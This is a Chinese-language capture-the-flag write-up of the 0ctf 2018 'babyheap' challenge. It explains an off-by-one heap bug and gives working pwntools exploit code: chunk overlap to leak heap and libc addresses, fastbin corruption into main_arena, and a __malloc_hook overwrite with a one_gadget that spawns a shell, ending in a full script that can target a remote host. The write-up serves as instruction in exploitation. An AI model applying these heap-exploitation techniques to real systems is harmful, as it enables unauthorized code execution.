0ctf2018 babyheap writeup

赛题链接

https://github.com/eternalsakura/ctf_pwn/blob/master/0ctf2018/babyheap.tar.gz

前置知识

  • fastbin attack
  • off-by-one
  • overlap
  • 熟悉malloc_state即main_arena,即知道main_arena是存储在libc.so的一个数据段。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    struct malloc_state {
    /* Serialize access. */
    __libc_lock_define(, mutex);

    /* Flags (formerly in max_fast). */
    int flags;

    /* Fastbins */
    mfastbinptr fastbinsY[ NFASTBINS ];

    /* Base of the topmost chunk -- not otherwise kept in a bin */
    mchunkptr top;

    /* The remainder from the most recent split of a small request */
    mchunkptr last_remainder;

    /* Normal bins packed as described above */
    mchunkptr bins[ NBINS * 2 - 2 ];

    /* Bitmap of bins, help to speed up the process of determinating if a given bin is definitely empty.*/
    unsigned int binmap[ BINMAPSIZE ];

    /* Linked list, points to the next arena */
    struct malloc_state *next;

    /* Linked list for free arenas. Access to this field is serialized
    by free_list_lock in arena.c. */
    struct malloc_state *next_free;

    /* Number of threads attached to this arena. 0 if the arena is on
    the free list. Access to this field is serialized by
    free_list_lock in arena.c. */
    INTERNAL_SIZE_T attached_threads;

    /* Memory allocated from the system in this arena. */
    INTERNAL_SIZE_T system_mem;
    INTERNAL_SIZE_T max_system_mem;
    };

分析

checksec

1
2
3
4
5
6
7
sakura@sakuradeMBP:~$ checksec /Users/sakura/Desktop/0ctf/babyheap-1/babyheap
[*] '/Users/sakura/Desktop/0ctf/babyheap-1/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

程序分析

典型的菜单程序

比较特别的是存放堆指针的全局变量不再放在bss段,而是随机mmap了一段空间出来存放。

添加

修改

删除

查看

漏洞分析

在修改函数里存在一个off-by-one漏洞,可以用来溢出修改相邻chunk的prev_size或者size.
测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
def alloc(size,nowait=False):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))

if nowait:
return
res = p.recvuntil('Allocated\n')
return int(res.split()[1])

def update(idx,content,size=0):
size = size if size else len(content)
content = content.ljust(size,"\x00")
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('Content: ')
p.sendline(content)

def delete(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(idx))

def view(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil(']: ')
return p.recvuntil('1. Allocate')

p = process('./babyheap')
context.log_level = 'debug'
a = alloc(0x28)
b = alloc(0x20)
update(a,'A'*0x28 + chr(0x41))
gdb.attach(p)
raw_input('x')

如图:

这里要注意一点就是我把分配的chunk修改一下

1
2
a  = alloc(0x20)
b = alloc(0x20)


可以看出这样就修改到了下一个chunk的prev_size,之所以分配0x28和分配0x20都得到大小为0x30的chunk,是因为chunk的空间复用,如果当前chunk正在使用中,没有被free掉,那么相邻chunk的prev_size域是无效的,可以被前一个chunk使用。

利用

利用思路

leak heap

申请多个chunk,通过off-by-one改变其中一个chunk的size,使其包含两个chunk,即overlap。
然后在这个大chunk里伪造fastbin chunk B.
然后申请一个和其大小一致的fastbin chunk A,依次释放A和B。
则fastbin:B->A, B的fd就存放着A的堆地址,通过打印大chunk的内容,将其中存放着的小chunk打印出来,从而得到堆地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
meh  = alloc(0x10) #0
ovf = alloc(0x28) #1,为了能够溢出修改到相邻chunk的size
vic = alloc(0x20) #2
fake = alloc(0x20) #3
alloc(0x20) #4
update(ovf,'a'*0x28 + chr(0x51)) #2的size被修改为0x51,从而将3包括在内,overlapping!
update(fake,p64(-1,sign='signed')+p64(-1,sign='signed')+p64(0)+p64(0x21))
delete(vic) #2被free,且将3包含在内
bigass = alloc(0x40) #将2再申请出来,此时的2为
'''
pwndbg> x /20gx 0x555555757050
index 2->0x555555757050: 0x6161616161616161 0x0000000000000051->size
0x555555757060: 0x0000000000000000 0x0000000000000000
0x555555757070: 0x0000000000000000 0x0000000000000000
index 3->0x555555757080: 0x0000000000000000 0x0000000000000000
0x555555757090: 0x0000000000000000 0x0000000000000000

'''
update(bigass,'a'*0x20 + p64(0)+p64(0x21))# 在3伪造chunk,size为0x21
'''
index 3->0x555555757080: 0x0000000000000000 0x0000000000000021
0x555555757090: 0x0000000000000000 0x0000000000000000
'''
delete(meh) #free 0
delete(fake) ## free 3
'''
fastbin:
0x20:fake(3)->meh(0)
'''
heap = u64(view(bigass)[0x30:][:8])# show 2,此时的chunk2,[0x30:][:8]即meh(0)的堆地址
log.info('[*]heap address:'+hex(heap)) #因为meh是第一个分配的chunk,所以它的地址就是heap基地址。
...
...
...
alloc chunk:
0
alloc chunk:
1
alloc chunk:
2
alloc chunk:
3
alloc chunk:
4
update chunk:
1
update chunk:
3
delete chunk
2
alloc chunk:
2
update chunk:
2
delete chunk
0
delete chunk
3
view chunk
2
[*] [*]heap address:0x5607a100f000

leak libc

修改3的大小为超出fastbin范围的small bin的大小,将其free,则其fd和bk都指向main_arena,而main_arena在libc上,减去偏移就得到libc基地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
fake = alloc(0x10)#再将3申请出来,此时它的内容清空。
'''
fastbin:
0x20:meh(0)
'''
update(bigass,'a'*0x20 + p64(0)+p64(0xd1)) #change fake size to 0xd1
'''
pwndbg> x /20gx 0x555555757050
index 2:
0x555555757050: 0x6161616161616161 0x0000000000000051
0x555555757060: 0x6161616161616161 0x6161616161616161
0x555555757070: 0x6161616161616161 0x6161616161616161
index 3:
0x555555757080: 0x0000000000000000 0x00000000000000d1->size
0x555555757090: 0x0000000000000000 0x0000000000000000
------------------------------------------------------------------
0x5555557570a0: 0x0000000000000000 0x0000000000000021
0x5555557570b0: 0x0000000000000000 0x0000000000000031
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000020f21
'''
alloc(88,nowait=True)
xx = alloc(88)
update(xx,p64(0)+p64(0x21)+p64(0)+p64(0)+p64(0)+p64(0x21))
'''
pwndbg> x /50gx 0x555555757080
0x555555757080: 0x0000000000000000 0x00000000000000d1->size
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000021
0x5555557570b0: 0x0000000000000000 0x0000000000000031
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000061
0x5555557570f0: 0x0000000000000000 0x0000000000000000
0x555555757100: 0x0000000000000000 0x0000000000000000
0x555555757110: 0x0000000000000000 0x0000000000000000
0x555555757120: 0x0000000000000000 0x0000000000000000
0x555555757130: 0x0000000000000000 0x0000000000000000
0x555555757140: 0x0000000000000000 0x0000000000000061
0x555555757150: 0x0000000000000000 0x0000000000000021
0x555555757160: 0x0000000000000000 0x0000000000000000
0x555555757170: 0x0000000000000000 0x0000000000000021
0x555555757180: 0x0000000000000000 0x0000000000000000
0x555555757190: 0x0000000000000000 0x0000000000000000
0x5555557571a0: 0x0000000000000000 0x0000000000020e61
0x5555557571b0: 0x0000000000000000 0x0000000000000000
'''
delete(fake) # 此时fake的大小属于small chunk,free后被添加到unsort bins, fd和bk指针指向libc上unsort bins的地址.

main_arena = u64(view(bigass)[0x30:][:8]) - 88 #compute main_arena header addr
log.info('[*]main_arena address:'+hex(main_arena))
libc = main_arena -0x399b00 #需要用main_arena减去它在libc中的偏移才能得到libc基地址
# 这个偏移可以通过关闭aslr,cat /proc/pid/maps,查看libc的基地址,然后用leak出来main_arena减去这个基地址就得到了偏移。
log.info('[*]libc address:'+hex(libc))
...
...
...
alloc chunk:
0
update chunk:
2
alloc chunk:
5
update chunk:
5
delete chunk
0
view chunk
2
[*] [*]main_arena address:0x7f1c45ddab00
[*] [*]libc address:0x7f1c45a41000

修改top_chunk,覆盖malloc_hook为one_gadaget

通过改fastbin的fd,从而使得下一次分配的chunk到我们指定的地址(这里是top_chunk上方)。
然后修改top_chunk到malloc_hook上方,使得chunk的分配从malloc_chunk的上方附近开始进行。
于是下一次分配就分配到malloc_hook上方,从而可以覆盖malloc_hook为one_gadaget

1
2
3
4
5
6
7
8
9
10
11
12
13
fake_chunk2 = main_arena - 0x33 #在malloc_hook上方附近的地址
fake_chunk = main_arena + 32 + 5 #用来绕过对fd的size大小的检查
fake = alloc(0x48) #将fake从unsorted bin申请出来

xx = alloc(0x58) #free后,在fastbin占位,用来绕过对fd的size大小的检查

delete(xx) #free后,在fastbin占位,用来绕过对fd的size大小的检查
delete(fake)
'''
fastbin:
0x50: fake
0x60: xx
'''

1
2
3
4
5
6
7
8
9
10
update(bigass,'a'*0x20 + p64(0)+p64(0x51)+p64(fake_chunk)) # 修改2,将3的fd指向main_arena + 32 + 5
'''
fastbin:
0x50: fake --> main_arena + 32 + 5
0x60: xx
'''
# print hex(fake_chunk),hex(fake_chunk2)
alloc(0x48) #将fastbin中的fake再分配出来
arena = alloc(0x48) #alloc main_arena + 32 + 5
print arena

需要注意的是main_arena + 32 + 5是什么?
还记得我们之前分配并free的xx = alloc(0x58)么?它在fastbin占位,于是它的地址的第一个字节,如图,0x55,正好可以帮我们绕过对于分配fastbin时,对size的验证。
这里顺便提一下这个验证:
在malloc时会进行一个校验,当size是fastbin的情况下,如果从fastbin取出的第一块chunk的(unsigned long)size不属于该fastbin中的时候就会发生memory corruption(fast)错误。
主要检查方式是根据malloc的bytes大小取得index后,到对应的fastbin去找,取出第一块后检查该chunk的size是否属于该fastbin。
于是我们的chunk就被分配到了这里!


1
2
3
4
5
6
update(arena,"\x00"*3 + "\x00"*32 + p64(fake_chunk2)) 	
# 修改top_chunk为fake_chunk2 用\x00填充fastbins,于是下一次分配将会从我们伪造的top_chunk(fake_chunk2)开始.
# 而伪造的top_chunk刚好就在malloc_hook的上方附近。
winit = alloc(0x48) #从伪造的top_chunk开始分配,从而得到malloc_hook上方的空间的chunk
update(winit,"\x00"*3 + "\x00"*16 + p64(libc + 0x3f35a)) #覆盖__malloc_hook到one_gadget
alloc(0x10,nowait=True) # 触发one_gadget来getshell
1
2
3
4
5
6
7
8
9
10
11
12
struct malloc_state
{
...
...
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];

/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
...
...
};

注意到我们开始就说过的malloc_state,也就是main_arena它的结构体,可以看到top就在fastbin数组的下面,所以我们malloc出了fastbin数组附近之后,就可以覆盖修改top_chunk了。
将top_chunk修改为main_arena-0x33,如图,就在malloc_hook上方。
接着就可以分配出这块空间,并且对其修改,覆盖__malloc_hook到one_gadget

顺便提一句,寻找one_gadaget可以参考这篇文章

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
#!/usr/bin/env python
from pwn import *
import re

context.arch = 'amd64'
# libc = ELF('./libc.so.6')
if len(sys.argv) < 2:
p = process('./babyheap')
context.log_level = 'debug'

else:
p = remote(sys.argv[1], int(sys.argv[2]))
# context.log_level = 'debug'

def alloc(size,nowait=False):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))

if nowait:
return
res = p.recvuntil('Allocated\n')
# print "alloc chunk:"
# print int(res.split()[1])
return int(res.split()[1])

def update(idx,content,size=0):
size = size if size else len(content)
content = content.ljust(size,"\x00")
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
# print "update chunk:"
# print str(idx)
p.sendline(str(idx))
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('Content: ')
p.sendline(content)

def delete(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
# print "delete chunk"
# print str(idx)
p.sendline(str(idx))

def view(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.recvuntil('Index: ')
# print "view chunk"
# print str(idx)
p.sendline(str(idx))
p.recvuntil(']: ')
return p.recvuntil('1. Allocate')

def exp():
# create(0x18)
# create(0x10)
# create(0x10)
# update(0,25,'A'*24+'\x41')
# # gdb.attach(p)
# delete(2)
# # delete(0)
# delete(1)
# create(0x30)
# update(1,0x30,'A'*16+p64(0)+p64(0x21)+'\x00'*16)
# create(0x10)
# # create(0x10)
# delete(0)
# delete(2)
# view(1)
# p.recvuntil(']: ')
# res = p.recv(48)[32:40]
# heap_base = u64(res)
meh = alloc(0x10)
ovf = alloc(0x28)
vic = alloc(0x20)
fake = alloc(0x20)
alloc(0x20)
update(ovf,'a'*0x28 + chr(0x51))
update(fake,p64(-1,sign='signed')+p64(-1,sign='signed')+p64(0)+p64(0x21))
delete(vic)
bigass = alloc(0x40)
update(bigass,'a'*0x20 + p64(0)+p64(0x21))

delete(meh)
delete(fake)
heap = u64(view(bigass)[0x30:][:8])
log.info('[*]heap address:'+hex(heap))
fake = alloc(0x10)

update(bigass,'a'*0x20 + p64(0)+p64(0xd1)) #change fake size to 0xd1

alloc(88,nowait=True)
xx = alloc(88)
update(xx,p64(0)+p64(0x21)+p64(0)+p64(0)+p64(0)+p64(0x21))

delete(fake) # free small chunk,add to unsort bins, fd bk point to unsort bins addr.

main_arena = u64(view(bigass)[0x30:][:8]) - 88 #compute main_arena addr
log.info('[*]main_arena address:'+hex(main_arena))
libc = main_arena -0x399b00
log.info('[*]libc address:'+hex(libc))
alloc(0x10,nowait=True)


fake_chunk2 = main_arena - 0x33
fake_chunk = main_arena + 32 + 5
fake = alloc(0x48)

xx = alloc(0x58)

delete(xx)
# gdb.attach(p)
raw_input('x')
delete(fake)
raw_input('x')
update(bigass,'a'*0x20 + p64(0)+p64(0x51)+p64(fake_chunk))
print hex(fake_chunk),hex(fake_chunk2)
raw_input('x')
alloc(0x48)

arena = alloc(0x48)
print arena
update(arena,"\x00"*3 + "\x00"*32 + p64(fake_chunk2))
winit = alloc(0x48)
update(winit,"\x00"*3 + "\x00"*16 + p64(libc + 0x3f35a))
raw_input('x')
alloc(0x10,nowait=True)

log.info('[*]get shell!!!')

p.interactive()
p.close()

if __name__ == '__main__':
exp()